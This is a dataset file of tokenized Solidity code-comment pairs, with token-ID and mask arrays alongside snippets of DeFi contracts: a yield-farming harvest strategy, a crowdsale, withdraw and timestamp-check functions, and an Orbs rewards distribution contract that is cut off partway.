0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
382,
5649,
1137,
18927,
1482,
12,
203,
3639,
1731,
1578,
1542,
548,
16,
203,
3639,
1758,
2949,
16,
203,
3639,
1426,
1267,
203,
565,
262,
3903,
3849,
288,
203,
3639,
2583,
12,
203,
5411,
711,
382,
5649,
1137,
2888,
305,
292,
1249,
2996,
1162,
2520,
1318,
12,
3576,
18,
15330,
3631,
203,
5411,
315,
1248,
316,
5649,
1137,
600,
305,
292,
1249,
6,
203,
3639,
11272,
203,
3639,
2254,
15561,
316,
5649,
1137,
18927,
1380,
273,
389,
542,
382,
5649,
1137,
18927,
1482,
12,
203,
5411,
1542,
548,
16,
203,
5411,
2949,
16,
203,
5411,
1267,
203,
3639,
11272,
203,
3639,
3626,
1000,
382,
5649,
1137,
18927,
1482,
12,
203,
5411,
1542,
548,
16,
203,
5411,
2949,
16,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
1267,
16,
203,
5411,
316,
5649,
1137,
18927,
1380,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.7;
import "./strategy-abracadabra-base.sol";
contract StrategySpellEthLp is StrategyAbracadabraFarmBase {
address public spell_eth_lp = 0xb5De0C3753b6E1B4dBA616Db82767F17513E6d4E;
uint256 public spell_eth_poolId = 0;
constructor(
address _governance,
address _strategist,
address _controller,
address _timelock
)
public
StrategyAbracadabraFarmBase(
spell_eth_lp,
spell_eth_poolId,
_governance,
_strategist,
_controller,
_timelock
)
{}
// **** Views ****
function getName() external pure override returns (string memory) {
return "StrategySpellEthLp";
}
function harvest() public override onlyBenevolent {
ISorbettiereFarm(sorbettiere).deposit(poolId, 0);
uint256 _ice = IERC20(ice).balanceOf(address(this));
if (_ice > 0) {
// 10% is locked up for future gov
uint256 _keepIce = _ice.mul(keepIce).div(keepIceMax);
IERC20(ice).safeTransfer(
IController(controller).treasury(),
_keepIce
);
uint256 _swap = (_ice.sub(_keepIce)).div(2);
IERC20(ice).safeApprove(sushiRouter, 0);
IERC20(ice).safeApprove(sushiRouter, _swap);
_swapSushiswap(ice, weth, _swap);
}
uint256 _weth = IERC20(weth).balanceOf(address(this));
_ice = IERC20(ice).balanceOf(address(this));
if (_weth > 0 && _ice > 0) {
IERC20(ice).safeApprove(sushiRouter, 0);
IERC20(ice).safeApprove(sushiRouter, _ice);
IERC20(weth).safeApprove(sushiRouter, 0);
IERC20(weth).safeApprove(sushiRouter, _weth);
UniswapRouterV2(sushiRouter).addLiquidity(
ice,
weth,
_ice,
_weth,
0,
0,
address(this),
now + 60
);
// Donates DUST
IERC20(weth).transfer(
IController(controller).treasury(),
IERC20(weth).balanceOf(address(this))
);
IERC20(ice).safeTransfer(
IController(controller).treasury(),
IERC20(ice).balanceOf(address(this))
);
}
_distributePerformanceFeesAndDeposit();
}
}
| 10% is locked up for future gov Donates DUST | function harvest() public override onlyBenevolent {
ISorbettiereFarm(sorbettiere).deposit(poolId, 0);
uint256 _ice = IERC20(ice).balanceOf(address(this));
if (_ice > 0) {
uint256 _keepIce = _ice.mul(keepIce).div(keepIceMax);
IERC20(ice).safeTransfer(
IController(controller).treasury(),
_keepIce
);
uint256 _swap = (_ice.sub(_keepIce)).div(2);
IERC20(ice).safeApprove(sushiRouter, 0);
IERC20(ice).safeApprove(sushiRouter, _swap);
_swapSushiswap(ice, weth, _swap);
}
uint256 _weth = IERC20(weth).balanceOf(address(this));
_ice = IERC20(ice).balanceOf(address(this));
if (_weth > 0 && _ice > 0) {
IERC20(ice).safeApprove(sushiRouter, 0);
IERC20(ice).safeApprove(sushiRouter, _ice);
IERC20(weth).safeApprove(sushiRouter, 0);
IERC20(weth).safeApprove(sushiRouter, _weth);
UniswapRouterV2(sushiRouter).addLiquidity(
ice,
weth,
_ice,
_weth,
0,
0,
address(this),
now + 60
);
IERC20(weth).transfer(
IController(controller).treasury(),
IERC20(weth).balanceOf(address(this))
);
IERC20(ice).safeTransfer(
IController(controller).treasury(),
IERC20(ice).balanceOf(address(this))
);
}
_distributePerformanceFeesAndDeposit();
}
| 1,088,657 | [
1,
2163,
9,
353,
8586,
731,
364,
3563,
31841,
7615,
815,
463,
5996,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
17895,
26923,
1435,
1071,
3849,
1338,
38,
4009,
15416,
319,
288,
203,
3639,
4437,
16640,
278,
9096,
822,
42,
4610,
12,
2467,
70,
278,
9096,
822,
2934,
323,
1724,
12,
6011,
548,
16,
374,
1769,
203,
3639,
2254,
5034,
389,
1812,
273,
467,
654,
39,
3462,
12,
1812,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
309,
261,
67,
1812,
405,
374,
13,
288,
203,
5411,
2254,
5034,
389,
10102,
45,
311,
273,
389,
1812,
18,
16411,
12,
10102,
45,
311,
2934,
2892,
12,
10102,
45,
311,
2747,
1769,
203,
5411,
467,
654,
39,
3462,
12,
1812,
2934,
4626,
5912,
12,
203,
7734,
467,
2933,
12,
5723,
2934,
27427,
345,
22498,
9334,
203,
7734,
389,
10102,
45,
311,
203,
5411,
11272,
203,
5411,
2254,
5034,
389,
22270,
273,
261,
67,
1812,
18,
1717,
24899,
10102,
45,
311,
13,
2934,
2892,
12,
22,
1769,
203,
5411,
467,
654,
39,
3462,
12,
1812,
2934,
4626,
12053,
537,
12,
87,
1218,
77,
8259,
16,
374,
1769,
203,
5411,
467,
654,
39,
3462,
12,
1812,
2934,
4626,
12053,
537,
12,
87,
1218,
77,
8259,
16,
389,
22270,
1769,
203,
5411,
389,
22270,
55,
1218,
291,
91,
438,
12,
1812,
16,
341,
546,
16,
389,
22270,
1769,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
389,
91,
546,
273,
467,
654,
39,
3462,
12,
91,
546,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
389,
1812,
273,
467,
654,
39,
3462,
12,
1812,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
2
]
|
./full_match/137/0x86c18085B8949FF3DC53eC5c3a3a143CCFbC960a/sources/contracts/Mad_Honey/ERC721M.sol | * @dev Validates the timestamp is not expired./ | function _assertValidTimestamp(uint64 timestamp) internal view {
if (timestamp < block.timestamp - getTimestampExpirySeconds())
revert TimestampExpired();
}
| 4,678,083 | [
1,
9594,
326,
2858,
353,
486,
7708,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
11231,
1556,
4921,
12,
11890,
1105,
2858,
13,
2713,
1476,
288,
203,
3639,
309,
261,
5508,
411,
1203,
18,
5508,
300,
11940,
14633,
6762,
10756,
203,
5411,
15226,
8159,
10556,
5621,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol';
import 'openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol';
import 'openzeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol';
import 'openzeppelin-solidity/contracts/crowdsale/distribution/RefundableCrowdsale.sol';
import './DaobaseToken.sol';
contract DaobaseCrowdsale is TimedCrowdsale, CappedCrowdsale, RefundableCrowdsale {
constructor(
// Start
uint256 _openingTime,
// End
uint256 _closingTime,
// Price
uint256 _rate,
// Owner address (soon to be multi-sig)
address _wallet,
// The hard cap
uint256 _cap,
// The token
DaobaseToken _token,
// The soft cap
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
}
| Start End Price Owner address (soon to be multi-sig) The hard cap The token The soft cap | contract DaobaseCrowdsale is TimedCrowdsale, CappedCrowdsale, RefundableCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
DaobaseToken _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
}
| 12,696,459 | [
1,
1685,
4403,
20137,
16837,
1758,
261,
2048,
265,
358,
506,
3309,
17,
7340,
13,
1021,
7877,
3523,
1021,
1147,
1021,
8971,
3523,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
463,
69,
947,
448,
39,
492,
2377,
5349,
353,
23925,
39,
492,
2377,
5349,
16,
11200,
1845,
39,
492,
2377,
5349,
16,
3941,
1074,
429,
39,
492,
2377,
5349,
288,
203,
202,
12316,
12,
203,
565,
2254,
5034,
389,
3190,
310,
950,
16,
203,
565,
2254,
5034,
389,
19506,
950,
16,
203,
565,
2254,
5034,
389,
5141,
16,
203,
565,
1758,
389,
19177,
16,
203,
565,
2254,
5034,
389,
5909,
16,
203,
565,
463,
69,
947,
448,
1345,
389,
2316,
16,
203,
565,
2254,
5034,
389,
27354,
203,
225,
262,
203,
565,
1071,
28524,
11794,
203,
565,
385,
492,
2377,
5349,
24899,
5141,
16,
389,
19177,
16,
389,
2316,
13,
203,
565,
23925,
39,
492,
2377,
5349,
24899,
3190,
310,
950,
16,
389,
19506,
950,
13,
203,
565,
11200,
1845,
39,
492,
2377,
5349,
24899,
5909,
13,
203,
565,
3941,
1074,
429,
39,
492,
2377,
5349,
24899,
27354,
13,
203,
225,
288,
203,
565,
2583,
24899,
27354,
1648,
389,
5909,
1769,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/97/0x9136385F9C2D2cDB3CfE120B8169e1b3c836Ca03/sources/project_/contracts/BuySell.sol | emit Withdrawn(userAddress, amt); | function withdraw(BEP20 BUSD, address userAddress, uint256 amt) external onlyOwner() returns(bool){
require(BUSD.balanceOf(address(this)) >= amt,"ErrAmt");
BUSD.transfer(userAddress, amt);
return true;
}
| 3,292,342 | [
1,
18356,
3423,
9446,
82,
12,
1355,
1887,
16,
25123,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
598,
9446,
12,
5948,
52,
3462,
605,
3378,
40,
16,
1758,
729,
1887,
16,
2254,
5034,
25123,
13,
3903,
1338,
5541,
1435,
1135,
12,
6430,
15329,
203,
3639,
2583,
12,
3000,
9903,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
1545,
25123,
10837,
2524,
31787,
8863,
203,
3639,
605,
3378,
40,
18,
13866,
12,
1355,
1887,
16,
25123,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.26;
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "./IOrbsRewardsDistribution.sol";
/// @title Orbs rewards distribution smart contract.
contract OrbsRewardsDistribution is Ownable, IOrbsRewardsDistribution {
struct Distribution {
uint256 pendingBatchCount;
bool hasPendingBatches;
bytes32[] batchHashes;
}
/// The Orbs token smart contract address.
IERC20 public orbs;
/// Mapping of all ongoing distribution events.
/// Distribution events are identified by a unique string
/// for the duration of their execution.
/// After completion or abortion the same name may be used again.
mapping(string => Distribution) distributions;
/// Address of an optional rewards-distributor account/contract.
/// Meant to be used in the future, should an alternate implementation of
/// batch commitment mechanism will be needed. Alternately, manual
/// transfers without batch commitment may be executed by rewardsDistributor.
/// Only the address of rewardsDistributor may call distributeRewards()
address public rewardsDistributor;
/// Constructor to set Orbs token contract address.
/// @param _orbs IERC20 The address of the Orbs token contract.
constructor(IERC20 _orbs) public {
require(address(_orbs) != address(0), "Address must not be 0!");
rewardsDistributor = address(0);
orbs = _orbs;
}
/// Announce a new distribution event, and commits to a list of transfer batch
/// hashes. Only the contract owner may call this method. The method verifies
/// a distributionEvent with the same name is not currently ongoing.
/// It then records commitments for all reward payments in the form of batch
/// hashes array to state.
/// @param _distributionEvent string Name of a new distribution event
/// @param _batchHashes bytes32[] The address of the OrbsValidators contract.
function announceDistributionEvent(string _distributionEvent, bytes32[] _batchHashes) external onlyOwner {
require(!distributions[_distributionEvent].hasPendingBatches, "distribution event is currently ongoing");
require(_batchHashes.length > 0, "at least one batch must be announced");
for (uint256 i = 0; i < _batchHashes.length; i++) {
require(_batchHashes[i] != bytes32(0), "batch hash may not be 0x0");
}
// store distribution event record
Distribution storage distribution = distributions[_distributionEvent];
distribution.pendingBatchCount = _batchHashes.length;
distribution.hasPendingBatches = true;
distribution.batchHashes = _batchHashes;
emit RewardsDistributionAnnounced(_distributionEvent, _batchHashes, _batchHashes.length);
}
/// Aborts an ongoing distributionEvent and revokes all batch commitments.
/// Only the contract owner may call this method.
/// @param _distributionEvent string Name of a new distribution event
function abortDistributionEvent(string _distributionEvent) external onlyOwner {
require(distributions[_distributionEvent].hasPendingBatches, "distribution event is not currently ongoing");
(bytes32[] memory abortedBatchHashes, uint256[] memory abortedBatchIndices) = this.getPendingBatches(_distributionEvent);
delete distributions[_distributionEvent];
emit RewardsDistributionAborted(_distributionEvent, abortedBatchHashes, abortedBatchIndices);
}
/// Carry out and log transfers in batch. receives two arrays of same length
/// representing rewards payments for a list of reward recipients.
/// distributionEvent is only provided for logging purposes.
/// @param _distributionEvent string Name of a new distribution event
/// @param _recipients address[] a list of recipients addresses
/// @param _amounts uint256[] a list of amounts to transfer each recipient at the corresponding array index
function _distributeRewards(string _distributionEvent, address[] _recipients, uint256[] _amounts) private {
uint256 batchSize = _recipients.length;
require(batchSize == _amounts.length, "array length mismatch");
for (uint256 i = 0; i < batchSize; i++) {
require(_recipients[i] != address(0), "recipient must be a valid address");
require(orbs.transfer(_recipients[i], _amounts[i]), "transfer failed");
emit RewardDistributed(_distributionEvent, _recipients[i], _amounts[i]);
}
}
/// Perform a single batch transfer, bypassing announcement/commitment flow.
/// Only the assigned rewardsDistributor account may call this method.
/// Provided to allow another contract or user to implement an alternative
/// batch commitment mechanism, should on be needed in the future.
/// @param _distributionEvent string Name of a new distribution event
/// @param _recipients address[] a list of recipients addresses
/// @param _amounts uint256[] a list of amounts to transfer each recipient at the corresponding array index
function distributeRewards(string _distributionEvent, address[] _recipients, uint256[] _amounts) external onlyRewardsDistributor {
_distributeRewards(_distributionEvent, _recipients, _amounts);
}
/// Accepts a batch of payments associated with a distributionEvent.
/// The batch will be executed only if it matches the commitment hash
/// published by this contract's owner in a previous
/// announceDistributionEvent() call. Once validated against an existing
/// batch hash commitment, the commitment is cleared to ensure the batch
/// cannot be executed twice.
/// If this was the last batch in distributionEvent, the event record is
/// cleared logged as completed.
/// @param _distributionEvent string Name of a new distribution event
/// @param _recipients address[] a list of recipients addresses
/// @param _amounts uint256[] a list of amounts to transfer each recipient at the corresponding array index
/// @param _batchIndex uint256 index of the specified batch in commitments array
function executeCommittedBatch(string _distributionEvent, address[] _recipients, uint256[] _amounts, uint256 _batchIndex) external {
Distribution storage distribution = distributions[_distributionEvent];
bytes32[] storage batchHashes = distribution.batchHashes;
require(_recipients.length == _amounts.length, "array length mismatch");
require(_recipients.length > 0, "at least one reward must be included in a batch");
require(distribution.hasPendingBatches, "distribution event is not currently ongoing");
require(batchHashes.length > _batchIndex, "batch number out of range");
require(batchHashes[_batchIndex] != bytes32(0), "specified batch number already executed");
bytes32 calculatedHash = calcBatchHash(_recipients, _amounts, _batchIndex);
require(batchHashes[_batchIndex] == calculatedHash, "batch hash does not match");
distribution.pendingBatchCount--;
batchHashes[_batchIndex] = bytes32(0); // delete
if (distribution.pendingBatchCount == 0) {
delete distributions[_distributionEvent];
emit RewardsDistributionCompleted(_distributionEvent);
}
emit RewardsBatchExecuted(_distributionEvent, calculatedHash, _batchIndex);
_distributeRewards(_distributionEvent, _recipients, _amounts);
}
/// Returns all pending (not yet executed) batch hashes and indices
/// associated with a distributionEvent.
/// @param _distributionEvent string Name of a new distribution event
/// @return pendingBatchHashes bytes32[]
/// @return pendingBatchIndices uint256[]
function getPendingBatches(string _distributionEvent) external view returns (bytes32[] pendingBatchHashes, uint256[] pendingBatchIndices) {
Distribution storage distribution = distributions[_distributionEvent];
bytes32[] storage batchHashes = distribution.batchHashes;
uint256 pendingBatchCount = distribution.pendingBatchCount;
uint256 batchHashesLength = distribution.batchHashes.length;
pendingBatchHashes = new bytes32[](pendingBatchCount);
pendingBatchIndices = new uint256[](pendingBatchCount);
uint256 addNextAt = 0;
for (uint256 i = 0; i < batchHashesLength; i++) {
bytes32 hash = batchHashes[i];
if (hash != bytes32(0)) {
pendingBatchIndices[addNextAt] = i;
pendingBatchHashes[addNextAt] = hash;
addNextAt++;
}
}
}
/// For disaster recovery purposes. transfers all orbs from this contract to owner.
/// Only the contract owner may call this method.
/// Transfers away any Orbs balance from this contract to the owners address
function drainOrbs() external onlyOwner {
uint256 balance = orbs.balanceOf(address(this));
orbs.transfer(owner(), balance);
}
/// Assigns a new rewards-distributor account.
/// To revoke the current rewards-distributor's rights call this method with 0x0.
/// Only the contract owner may call this method.
/// @param _newRewardsDistributor The address to set as the new rewards-distributor.
function reassignRewardsDistributor(address _newRewardsDistributor) external onlyOwner {
emit RewardsDistributorReassigned(rewardsDistributor, _newRewardsDistributor);
rewardsDistributor = _newRewardsDistributor;
}
/// Return true if `msg.sender` is the assigned rewards-distributor.
function isRewardsDistributor() public view returns(bool) {
return msg.sender == rewardsDistributor;
}
/// Throws if called by any account other than the rewards-distributor.
modifier onlyRewardsDistributor() {
require(isRewardsDistributor(), "only the assigned rewards-distributor may call this method");
_;
}
/// Computes a hash code form a batch payment specification.
/// @param _recipients address[] a list of recipients addresses
/// @param _amounts uint256[] a list of amounts to transfer each recipient at the corresponding array index
/// @param _batchIndex uint256 index of the specified batch in commitments array
function calcBatchHash(address[] _recipients, uint256[] _amounts, uint256 _batchIndex) private pure returns (bytes32) {
bytes memory batchData = abi.encodePacked(_batchIndex, _recipients.length, _recipients, _amounts);
uint256 expectedLength = 32 * (2 + _recipients.length + _amounts.length);
